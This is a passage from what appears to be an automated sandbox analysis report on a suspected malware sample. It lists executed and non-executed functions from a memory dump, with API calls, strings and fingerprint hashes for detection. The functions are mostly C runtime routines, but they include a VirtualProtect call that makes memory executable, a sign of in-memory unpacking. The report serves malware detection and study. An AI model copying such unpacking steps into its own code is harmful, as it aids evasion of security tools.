VirtualProtect.KERNELBASE(02B93AC4,02B93BD4,00000040,0043C633), ref: 0043B99F

Strings

kernel32.dll, xrefs: 0043B8B9
@, xrefs: 0043B8C9

Memory Dump Source

Source File: 00000021.00000002.448823997.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: ProtectVirtual
String ID: @$kernel32.dll
API String ID: 544645111-4076271160
Opcode ID: a6cf65b5b917e2144709050c0ed81325a4721f9825a7eaf5356cdfa8f6d9bdf0
Instruction ID: 39aef778d67b007e491e442d18c245c5a646bf8c891f3e1561c9c4de29d1486e
Opcode Fuzzy Hash: a6cf65b5b917e2144709050c0ed81325a4721f9825a7eaf5356cdfa8f6d9bdf0
Instruction Fuzzy Hash: 4E217C2C40E2C08ED302C77CBD9866A3FE16723304F0842ADD691672B2C67B9178CB6D

Uniqueness

Uniqueness Score: -1.00%

Function 0042255F, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 41COMMON

Download Yara Rule

Strings

Qa, xrefs: 00422559

Memory Dump Source

Source File: 00000021.00000002.448823997.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID:
String ID: Qa
API String ID: 0-3901847582
Opcode ID: 54e606425bf2c52ce40dc11f730a501dae683f7e7ee7d8b5515a44b5cf1c9960
Instruction ID: 52761599bc0869ed811e4cbfd8b01fce6e2cd212093ec173c4941ce129ce0f0b
Opcode Fuzzy Hash: 54e606425bf2c52ce40dc11f730a501dae683f7e7ee7d8b5515a44b5cf1c9960
Instruction Fuzzy Hash: 570108B1A0111AFBDB14CF54E655BAB73A4AF48304F50C05AB80587240D7BDDA91DB56

Uniqueness

Uniqueness Score: -1.00%

Function 02C00DF8, Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(00000400,?,?,02C00223,?,?), ref: 02C00E02
SetErrorMode.KERNELBASE(00000000,?,?,02C00223,?,?), ref: 02C00E07

Memory Dump Source

Source File: 00000021.00000002.449589247.0000000002C00000.00000040.00000001.sdmp, Offset: 02C00000, based on PE: false

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: 45ce1c4a0ee5715f2ec3f8df58d6a712e7fbf0cbb0c72a8b47948e0fea5f4b1d
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: B4D0123114512C77D7002A94DC09BCD7B1C9F05B66F008011FB0DE91C1C7709A4046E5

Uniqueness

Uniqueness Score: -1.00%

Function 0041C860, Relevance: 3.0, APIs: 2, Instructions: 7COMMON

Download Yara Rule

APIs

___security_init_cookie.LIBCMTD ref: 0041C865
___tmainCRTStartup.LIBCMTD ref: 0041C86A

Part of subcall function 0041C880: _check_managed_app.LIBCMTD ref: 0041C8DD
Part of subcall function 0041C880: __heap_init.LIBCMTD ref: 0041C8E5
Part of subcall function 0041C880: _fast_error_exit.LIBCMTD ref: 0041C8F0
Part of subcall function 0041C880: __mtinit.LIBCMTD ref: 0041C8F8
Part of subcall function 0041C880: _fast_error_exit.LIBCMTD ref: 0041C903
Part of subcall function 0041C880: __RTC_Initialize.LIBCMTD ref: 0041C915
Part of subcall function 0041C880: __ioinit.LIBCMTD ref: 0041C921
Part of subcall function 0041C880: ___crtGetEnvironmentStringsW.LIBCMTD ref: 0041C93F
Part of subcall function 0041C880: ___wsetargv.LIBCMTD ref: 0041C949
Part of subcall function 0041C880: __wsetenvp.LIBCMTD ref: 0041C95C
Part of subcall function 0041C880: __cinit.LIBCMTD ref: 0041C971
Part of subcall function 0041C880: __wwincmdln.LIBCMTD ref: 0041C98E

Memory Dump Source

Source File: 00000021.00000002.448823997.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: _fast_error_exit$EnvironmentInitializeStartupStrings___crt___security_init_cookie___tmain___wsetargv__cinit__heap_init__ioinit__mtinit__wsetenvp__wwincmdln_check_managed_app
String ID:
API String ID: 3887909383-0
Opcode ID: 2c2b78fda9f7bf98e0a9c9869648c30fc7c8fd208615a193c28a8f35ee656e63
Instruction ID: 8a391366604c70ef694e90dd575963081150b14e9b804ef02921ac20ccb982c4
Opcode Fuzzy Hash: 2c2b78fda9f7bf98e0a9c9869648c30fc7c8fd208615a193c28a8f35ee656e63
Instruction Fuzzy Hash: 9EA022320C020C03000033F33883A0BB20C08C03AE3C0002BF00C028030C0CA88200AE

Uniqueness

Uniqueness Score: -1.00%

Function 0042298C, Relevance: 1.5, APIs: 1, Instructions: 40COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004229EA

Memory Dump Source

Source File: 00000021.00000002.448823997.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-0
Opcode ID: 6c9a9cebdb7f04b3e1f18d0571a1b522f97abfb0a8d2ab69be2625cd2b2ccaa6
Instruction ID: 78c792e3b53ae0f68f16a83f1d2fa9fa968479f5509ac48ce1072bbbf8e5e2bf
Opcode Fuzzy Hash: 6c9a9cebdb7f04b3e1f18d0571a1b522f97abfb0a8d2ab69be2625cd2b2ccaa6
Instruction Fuzzy Hash: AA0128B1B00118FBCB04DF98EA81A9E77B5AB88314F10C259F9198B250D678EE91CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00424660, Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

RtlEncodePointer.NTDLL(00000000,?,004268EE), ref: 00424667

Memory Dump Source

Source File: 00000021.00000002.448823997.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: EncodePointer
String ID:
API String ID: 2118026453-0
Opcode ID: 890706fda795d58b87ee1f039ad0ca04e7dc0882e294813592251043f0a35fff
Instruction ID: bdcd9d09c8b1fda47f7c94c9941745d50288397696c9920d24d140ab88e8cbe1
Opcode Fuzzy Hash: 890706fda795d58b87ee1f039ad0ca04e7dc0882e294813592251043f0a35fff
Instruction Fuzzy Hash: 89A01132088208A3C2002282A80AB82BA0CC3C8B32F000020F20C0A0A20AA2A80280AA

Uniqueness

Uniqueness Score: -1.00%

Function 0043B870, Relevance: 1.3, APIs: 1, Instructions: 9memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNELBASE(00000000,02B93BD4,?,0043C50A), ref: 0043B87B

Memory Dump Source

Source File: 00000021.00000002.448823997.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: ee2f952c072a44ab735cd42771e59ce54934ca11a45b38d0955d0b5b92c7adf7
Instruction ID: c6d1a807f4fd679483060864545869bc09e8cc4ec2b12c9638b3f782a82b8bb1
Opcode Fuzzy Hash: ee2f952c072a44ab735cd42771e59ce54934ca11a45b38d0955d0b5b92c7adf7
Instruction Fuzzy Hash: 8EC09B715843045FD3009BD4BB05B2677DCF304745F040491F61CC3760D57064104765

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00439083, Relevance: 35.4, APIs: 15, Strings: 5, Instructions: 368COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00439112
_get_int64_arg.LIBCMTD ref: 0043913A
__aullrem.LIBCMT ref: 004392DF
__aulldiv.LIBCMT ref: 00439301
_write_multi_char.LIBCMTD ref: 00439408
_write_string.LIBCMTD ref: 00439423
_write_multi_char.LIBCMTD ref: 0043944F
_wctomb_s.LIBCMTD ref: 004394CC

Strings

_output_s_l, xrefs: 0043877E
9, xrefs: 00439312
f:\dd\vctools\crt_bld\self_x86\crt\src\output.c, xrefs: 00438749, 00438779
-, xrefs: 004393A8
("Incorrect format specifier", 0), xrefs: 0043873D, 00438783

Memory Dump Source

Source File: 00000021.00000002.448823997.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: _get_int64_arg_write_multi_char$__aulldiv__aullrem_wctomb_s_write_string
String ID: ("Incorrect format specifier", 0)$-$9$_output_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\output.c
API String ID: 3451365851-3266125857
Opcode ID: a255a802beaaaa44ed3f19d32365a83fcef70264de0c78f2760f452450b091d0
Instruction ID: 71c9263411a19c0529bdf405552b834753b971235ec1f22157bfe51189c4a08b
Opcode Fuzzy Hash: a255a802beaaaa44ed3f19d32365a83fcef70264de0c78f2760f452450b091d0
Instruction Fuzzy Hash: E5F13CB1D012299FEF24CF58CC89BAEB7B5BB48304F1495DAE409A7281D7785E80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0043A425, Relevance: 33.6, APIs: 15, Strings: 4, Instructions: 365COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0043A4BA
_get_int64_arg.LIBCMTD ref: 0043A4E2
__aullrem.LIBCMT ref: 0043A68A
__aulldiv.LIBCMT ref: 0043A6AC
_write_multi_char.LIBCMTD ref: 0043A7C5
_write_string.LIBCMTD ref: 0043A7E0
_write_multi_char.LIBCMTD ref: 0043A80C
__mbtowc_l.LIBCMTD ref: 0043A87B

Strings

9, xrefs: 0043A6BD
f:\dd\vctools\crt_bld\self_x86\crt\src\output.c, xrefs: 00439B96, 00439BC6
_woutput_s_l, xrefs: 00439BCB
("Incorrect format specifier", 0), xrefs: 00439B8A, 00439BD0

Memory Dump Source

Source File: 00000021.00000002.448823997.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: _get_int64_arg_write_multi_char$__aulldiv__aullrem__mbtowc_l_write_string
String ID: ("Incorrect format specifier", 0)$9$_woutput_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\output.c
API String ID: 3455034128-2408376751
Opcode ID: 9c43312d02bdb5cecccfa808d908181a3c064e54e9dd2b8551eacf278c2049d7
Instruction ID: cb1edf1fc8a3e5fabc66b1dc92a2d34f3395b31bdb2ee872d78ab324d95eb083
Opcode Fuzzy Hash: 9c43312d02bdb5cecccfa808d908181a3c064e54e9dd2b8551eacf278c2049d7
Instruction Fuzzy Hash: 0FF16DB1D402299FDB24CF54CC81BAEB7B4FF48304F14509AE289A7241D778AE95CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 00438DE7, Relevance: 28.2, APIs: 11, Strings: 5, Instructions: 241COMMON

Download Yara Rule

APIs

_get_int_arg.LIBCMTD ref: 00438DEB
__get_printf_count_output.LIBCMTD ref: 00438DF9
__invalid_parameter.LIBCMTD ref: 00438E80
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00438E95
_write_multi_char.LIBCMTD ref: 00439408
_write_string.LIBCMTD ref: 00439423
_write_multi_char.LIBCMTD ref: 0043944F
_wctomb_s.LIBCMTD ref: 004394CC

Strings

_output_s_l, xrefs: 0043877E, 00438E76
("'n' format specifier disabled", 0), xrefs: 00438E35, 00438E7B
f:\dd\vctools\crt_bld\self_x86\crt\src\output.c, xrefs: 00438749, 00438779, 00438E41, 00438E71
-, xrefs: 004393A8
("Incorrect format specifier", 0), xrefs: 0043873D, 00438783

Memory Dump Source

Source File: 00000021.00000002.448823997.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: Locale_write_multi_char$UpdateUpdate::~___get_printf_count_output__invalid_parameter_get_int_arg_wctomb_s_write_string
String ID: ("'n' format specifier disabled", 0)$("Incorrect format specifier", 0)$-$_output_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\output.c
API String ID: 2357813345-2363074782
Opcode ID: 1decbfc2afbc74058352104dd20a33aa93e3070d5108da7ee5b27ac08fc76b4e
Instruction ID: 800e215dea8509f5e885ee2145901f4be8a925451c45b85a1dfcb2227035aa07
Opcode Fuzzy Hash: 1decbfc2afbc74058352104dd20a33aa93e3070d5108da7ee5b27ac08fc76b4e
Instruction Fuzzy Hash: C3A18071D002299BDF24DF55CC49BEEB7B0AB48308F2491DAE4197A281D7B89E80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0043A18A, Relevance: 26.5, APIs: 11, Strings: 4, Instructions: 238COMMON

Download Yara Rule

APIs

_get_int_arg.LIBCMTD ref: 0043A18E
__get_printf_count_output.LIBCMTD ref: 0043A19C
__invalid_parameter.LIBCMTD ref: 0043A223
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0043A238
_write_multi_char.LIBCMTD ref: 0043A7C5
_write_string.LIBCMTD ref: 0043A7E0
_write_multi_char.LIBCMTD ref: 0043A80C
__mbtowc_l.LIBCMTD ref: 0043A87B

Strings

("'n' format specifier disabled", 0), xrefs: 0043A1D8, 0043A21E
f:\dd\vctools\crt_bld\self_x86\crt\src\output.c, xrefs: 00439B96, 00439BC6, 0043A1E4, 0043A214
_woutput_s_l, xrefs: 00439BCB, 0043A219
("Incorrect format specifier", 0), xrefs: 00439B8A, 00439BD0

Memory Dump Source

Source File: 00000021.00000002.448823997.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: Locale_write_multi_char$UpdateUpdate::~___get_printf_count_output__invalid_parameter__mbtowc_l_get_int_arg_write_string
String ID: ("'n' format specifier disabled", 0)$("Incorrect format specifier", 0)$_woutput_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\output.c
API String ID: 2386203720-1989478660
Opcode ID: 10db619658ed939792967ae4b8c1d4e22f97ba1123ee1b9c5dd25d77b1b3e597
Instruction ID: 17b54908afa8705f510bce830cde04f43d544565fd85eb7467617ea7168753ea
Opcode Fuzzy Hash: 10db619658ed939792967ae4b8c1d4e22f97ba1123ee1b9c5dd25d77b1b3e597
Instruction Fuzzy Hash: 9DA18EB0D402299BDB24DF45CC81BAEB370BF48308F14509AE65967282D778AE95CF5E

Uniqueness

Uniqueness Score: -1.00%

Function 00434143, Relevance: 25.8, APIs: 17, Instructions: 319COMMON

Download Yara Rule

APIs

_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0043418B
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 004341C1
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 004341E2
wcsncnt.LIBCMTD ref: 00434219
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0043427F
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 004344D0

Memory Dump Source

Source File: 00000021.00000002.448823997.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: Locale$UpdateUpdate::~_$wcsncnt
String ID:
API String ID: 986326057-0
Opcode ID: 06c3336413b37537112a0a839b5027d80846e23d8d7aa405d003562d4e4c0cc7
Instruction ID: 9f7bab69c61b91bf2226417978fbee1816047cc1d6436ec9c945035c37b0a522
Opcode Fuzzy Hash: 06c3336413b37537112a0a839b5027d80846e23d8d7aa405d003562d4e4c0cc7
Instruction Fuzzy Hash: B5E11971D00218EFDB08DF94C894BEEB7B1FF88304F20955AE5126B295DB78AE41DB94

Uniqueness

Uniqueness Score: -1.00%

Function 00438C35, Relevance: 23.0, APIs: 9, Strings: 4, Instructions: 225COMMON

Download Yara Rule

APIs

_get_int_arg.LIBCMTD ref: 00438C39
_strlen.LIBCMT ref: 00438C69
_write_multi_char.LIBCMTD ref: 00439408
_write_string.LIBCMTD ref: 00439423
_write_multi_char.LIBCMTD ref: 0043944F
_wctomb_s.LIBCMTD ref: 004394CC

Strings

_output_s_l, xrefs: 0043877E
f:\dd\vctools\crt_bld\self_x86\crt\src\output.c, xrefs: 00438749, 00438779
-, xrefs: 004393A8
("Incorrect format specifier", 0), xrefs: 0043873D, 00438783

Memory Dump Source

Source File: 00000021.00000002.448823997.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: _write_multi_char$_get_int_arg_strlen_wctomb_s_write_string
String ID: ("Incorrect format specifier", 0)$-$_output_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\output.c
API String ID: 2232461714-3257747220
Opcode ID: cc4de51dfc1802cb072e04269e98ecc9e68d1557290dedda2ab80cb42d7eaae4
Instruction ID: c7b3a4ec6d52d468478c1b831ff9fd0d166fbaa850ee799b45329856d09fd66e
Opcode Fuzzy Hash: cc4de51dfc1802cb072e04269e98ecc9e68d1557290dedda2ab80cb42d7eaae4
Instruction Fuzzy Hash: C4A17CB1D012299BDF64CF54CC49BEEB7B1BB48304F2491DAE4096B291D7789E80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 004332B6, Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 131COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00433318
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0043332D
_memset.LIBCMT ref: 004333B4
__invalid_parameter.LIBCMTD ref: 00433414
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00433426
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00433461

Strings

_mbstowcs_s_l, xrefs: 0043340A
", xrefs: 0043341C
P, xrefs: 00433436
f:\dd\vctools\crt_bld\self_x86\crt\src\mbstowcs.c, xrefs: 004333D8, 00433405
retsize <= sizeInWords, xrefs: 004333CC, 0043340F

Memory Dump Source

Source File: 00000021.00000002.448823997.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: Locale$UpdateUpdate::~_$_memset$__invalid_parameter
String ID: "$P$_mbstowcs_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\mbstowcs.c$retsize <= sizeInWords
API String ID: 2173491032-2919109160
Opcode ID: f60d0108be53d074bcb0935f21b2352ada00ea1a9edcef19dab1cb8f4b77e33e
Instruction ID: c0b6370046660829e89cfbb8bc2193890dd4202a8e3488e5a9990ec4c7e556a2
Opcode Fuzzy Hash: f60d0108be53d074bcb0935f21b2352ada00ea1a9edcef19dab1cb8f4b77e33e
Instruction Fuzzy Hash: 3E515B70D00209DFCB14DF58D841AAE77B1BF58329F20962AE825673D0D7789A56CB89

Uniqueness

Uniqueness Score: -1.00%

Function 004231F5, Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 264memoryCOMMON

Download Yara Rule

APIs

_CheckBytes.LIBCMTD ref: 00423209
__CrtIsValidHeapPointer.LIBCMTD ref: 00423295
_CheckBytes.LIBCMTD ref: 00423340
_CheckBytes.LIBCMTD ref: 004233FA
_memset.LIBCMT ref: 004234F1
__free_base.LIBCMTD ref: 004234FD

Strings

tDj, xrefs: 0042324B
u!h@V@, xrefs: 0042329F

Memory Dump Source

Source File: 00000021.00000002.448823997.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: BytesCheck$HeapPointerValid__free_base_memset
String ID: tDj$u!h@V@
API String ID: 25084783-1458884043
Opcode ID: a853e6ef07aa61ac2ef298a9595cdb6eb180fc94dcda0b65239b4a5759919e40
Instruction ID: af061df797d914ad8cbe521ed2a8433e1164bc30a060eb832aaaaa3f2fe73e81
Opcode Fuzzy Hash: a853e6ef07aa61ac2ef298a9595cdb6eb180fc94dcda0b65239b4a5759919e40
Instruction Fuzzy Hash: 0291BD70B40214FBEB24DE44ED82F6A7375AB58705F704199F504AB2C2C679EF40CA9C

Uniqueness

Uniqueness Score: -1.00%

Function 00434784, Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 115COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004347E3
_memset.LIBCMT ref: 0043486C
__invalid_parameter.LIBCMTD ref: 004348CB

Strings

P, xrefs: 004348E0
sizeInBytes > retsize, xrefs: 00434883, 004348C6
f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c, xrefs: 0043488F, 004348BC
_wcstombs_s_l, xrefs: 004348C1

Memory Dump Source

Source File: 00000021.00000002.448823997.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: _memset$__invalid_parameter
String ID: P$_wcstombs_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c$sizeInBytes > retsize
API String ID: 2178901135-56445615
Opcode ID: bec076d32e4a107355ed2b4c65bf384fbe35bfe4c5d1dcdce5f6352386b2f9f6
Instruction ID: 646f7a1e2b64c8e26fbfade91133429465bb32ea73ac111e5b424fa5b7576c57
Opcode Fuzzy Hash: bec076d32e4a107355ed2b4c65bf384fbe35bfe4c5d1dcdce5f6352386b2f9f6
Instruction Fuzzy Hash: 4F418D74D00249DFCB18DF69C8457EE7760FB89328F20966AE8351A3D0C378A951CF99

Uniqueness

Uniqueness Score: -1.00%

Function 00431BF0, Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 61COMMON

Download Yara Rule

APIs

___dtold.LIBCMTD ref: 00431C0A
_$I10_OUTPUT.LIBCMTD ref: 00431C32
_wcscpy_s.LIBCMTD ref: 00431C72

Part of subcall function 0042F640: __invalid_parameter.LIBCMTD ref: 0042F6B2

__invoke_watson_if_error.LIBCMTD ref: 00431C7B

Strings

_fltout2, xrefs: 00431C5C
f:\dd\vctools\crt_bld\self_x86\crt\prebuild\conv\cfout.c, xrefs: 00431C57
strcpy_s(resultstr, resultsize, autofos.man), xrefs: 00431C61

Memory Dump Source

Source File: 00000021.00000002.448823997.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: I10____dtold__invalid_parameter__invoke_watson_if_error_wcscpy_s
String ID: _fltout2$f:\dd\vctools\crt_bld\self_x86\crt\prebuild\conv\cfout.c$strcpy_s(resultstr, resultsize, autofos.man)
API String ID: 289039318-2574656408
Opcode ID: 779962a1511e91e444b290f6dacac5c91b0bd9b08b1340ddebf18bd9b9619b52
Instruction ID: f5fb7697957fc98a0796601a3538b4b00126c0186b3a1b97676e279620a9e178
Opcode Fuzzy Hash: 779962a1511e91e444b290f6dacac5c91b0bd9b08b1340ddebf18bd9b9619b52
Instruction Fuzzy Hash: 91214FB5A003089BCB04EF55D841ADEB7B4AF4C704F508569F80467391E634D911CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00432E50, Relevance: 12.2, APIs: 8, Instructions: 160COMMON

Download Yara Rule

APIs

_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00432E8E
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00432EB8
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00432F03

Memory Dump Source

Source File: 00000021.00000002.448823997.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: Locale$UpdateUpdate::~_
String ID:
API String ID: 1901436342-0
Opcode ID: 31fcfd1df27fcdb39302e4ea76c07c5eb73ccc6faa7aa339da97fbc2bfa49833
Instruction ID: ab2827c93a06599cf204a4a5ce97c7ed8a629472ecbe5c136afe21d468639e78
Opcode Fuzzy Hash: 31fcfd1df27fcdb39302e4ea76c07c5eb73ccc6faa7aa339da97fbc2bfa49833
Instruction Fuzzy Hash: 64615C70E00119DFCB08DFA4C591AEEB7B1FF48305F20855AE415AB394DB38AE41DB98

Uniqueness

Uniqueness Score: -1.00%

Function 004390B1, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 104COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00439112
__aullrem.LIBCMT ref: 004392DF
__aulldiv.LIBCMT ref: 00439301

Strings

9, xrefs: 00439312
', xrefs: 004390B1
0, xrefs: 004390CD

Memory Dump Source

Source File: 00000021.00000002.448823997.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: '$0$9
API String ID: 3120068967-269856862
Opcode ID: 67cb50fc7d230556855161bf641f2f52e3d42d0d9b7a99f4058198a45b6f4383
Instruction ID: 3b27ae765ea1d6651e2bb045c98f26330e732e63dbf518159f13452479eec106
Opcode Fuzzy Hash: 67cb50fc7d230556855161bf641f2f52e3d42d0d9b7a99f4058198a45b6f4383
Instruction Fuzzy Hash: 754104B1D05629DFEF24CF88C889BAEB7B5BB48304F1495DAD448A7244C7789E81CF45

Uniqueness

Uniqueness Score: -1.00%

Function 00433193, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 79COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004331E4
__invalid_parameter.LIBCMTD ref: 0043327D
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0043328F

Strings

bufferSize <= INT_MAX, xrefs: 00433235, 00433278
_mbstowcs_s_l, xrefs: 00433273
f:\dd\vctools\crt_bld\self_x86\crt\src\mbstowcs.c, xrefs: 00433241, 0043326E

Memory Dump Source

Source File: 00000021.00000002.448823997.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: Locale$UpdateUpdate::~___invalid_parameter_memset
String ID: _mbstowcs_s_l$bufferSize <= INT_MAX$f:\dd\vctools\crt_bld\self_x86\crt\src\mbstowcs.c
API String ID: 255745848-890208756
Opcode ID: 2f268d77253e9ec6a0a20a775e4b0b95dea37c6570a3b4502bc2c39c50d7d137
Instruction ID: 8e3aa3311513d257aa614fcfcf71ea4dd580210507c423f71adec7edd6b104f2
Opcode Fuzzy Hash: 2f268d77253e9ec6a0a20a775e4b0b95dea37c6570a3b4502bc2c39c50d7d137
Instruction Fuzzy Hash: C731BC70A40209DBCF24CF88CC42BAF7361BF08319F20521AE821672C0D779AA51CB89

Uniqueness

Uniqueness Score: -1.00%

Function 0043909E, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 106COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00439112
__aullrem.LIBCMT ref: 004392DF
__aulldiv.LIBCMT ref: 00439301

Strings

9, xrefs: 00439312
0, xrefs: 004390CD

Memory Dump Source

Source File: 00000021.00000002.448823997.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 0$9
API String ID: 3120068967-1975997740
Opcode ID: 45f21c8e1b2fd0e41667e3de63cf855168ebbc715265d6f9955e28d7e5afede6
Instruction ID: b130b1ef7f4e5ff450cec3308f61199c04bcd04b8a71c8f0297fec445956986d
Opcode Fuzzy Hash: 45f21c8e1b2fd0e41667e3de63cf855168ebbc715265d6f9955e28d7e5afede6
Instruction Fuzzy Hash: 714114B1D05629DFEF24CF88C889BAEB7B5BB48304F2095DAD449A7244C7789E81CF45

Uniqueness

Uniqueness Score: -1.00%

Function 0043A453, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 105COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0043A4BA
__aullrem.LIBCMT ref: 0043A68A
__aulldiv.LIBCMT ref: 0043A6AC

Strings

9, xrefs: 0043A6BD
', xrefs: 0043A453

Memory Dump Source

Source File: 00000021.00000002.448823997.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: '$9
API String ID: 3120068967-1823400153
Opcode ID: 3e7edddd32afbd3e8f43cf4196503e246869b73da711e94f4ab09f0f6f675874
Instruction ID: 10a5d3668cc72a378d32e1d9aab2167795fe22b0cdd445623ae82debf5f2952f
Opcode Fuzzy Hash: 3e7edddd32afbd3e8f43cf4196503e246869b73da711e94f4ab09f0f6f675874
Instruction Fuzzy Hash: 4F414AB0E401299FDF24CF48C841BAEB7B5FF89314F145099D288AB241D7785E91CF0A

Uniqueness

Uniqueness Score: -1.00%

Function 00434683, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 70COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004346D0
__invalid_parameter.LIBCMTD ref: 0043475D

Strings

bufferSize <= INT_MAX, xrefs: 00434715, 00434758
f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c, xrefs: 00434721, 0043474E
_wcstombs_s_l, xrefs: 00434753

Memory Dump Source

Source File: 00000021.00000002.448823997.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: __invalid_parameter_memset
String ID: _wcstombs_s_l$bufferSize <= INT_MAX$f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c
API String ID: 3961059608-322421350
Opcode ID: 1ef48b75d5eaec87e979b824cc2903a9ba5cbce35a48695791957b1129b70928
Instruction ID: dfdc742958f6daf299e4b3c132fde354c011403b1abcda791928ce4327d084d2
Opcode Fuzzy Hash: 1ef48b75d5eaec87e979b824cc2903a9ba5cbce35a48695791957b1129b70928
Instruction Fuzzy Hash: 2521B770A403499BCB24DF54CC42BEE3761FB89314F20561BE8256A3D0D37DA950CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0043A440, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 107COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0043A4BA
__aullrem.LIBCMT ref: 0043A68A
__aulldiv.LIBCMT ref: 0043A6AC

Strings

9, xrefs: 0043A6BD

Memory Dump Source

Source File: 00000021.00000002.448823997.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: fcd870e84a3bfddba685abb44477e9299dd9dff0bbf7c7e0cbcc3c5a3c84430e
Instruction ID: c22b0608ab777563673d1103ad2cffe38ec4d1934c716ed8058dacaea9c5ae69
Opcode Fuzzy Hash: fcd870e84a3bfddba685abb44477e9299dd9dff0bbf7c7e0cbcc3c5a3c84430e
Instruction Fuzzy Hash: D84138B0E501299FDB24CF48C845BAEB7B5FF89314F14509AD289AB241D7785E91CF0A

Uniqueness

Uniqueness Score: -1.00%

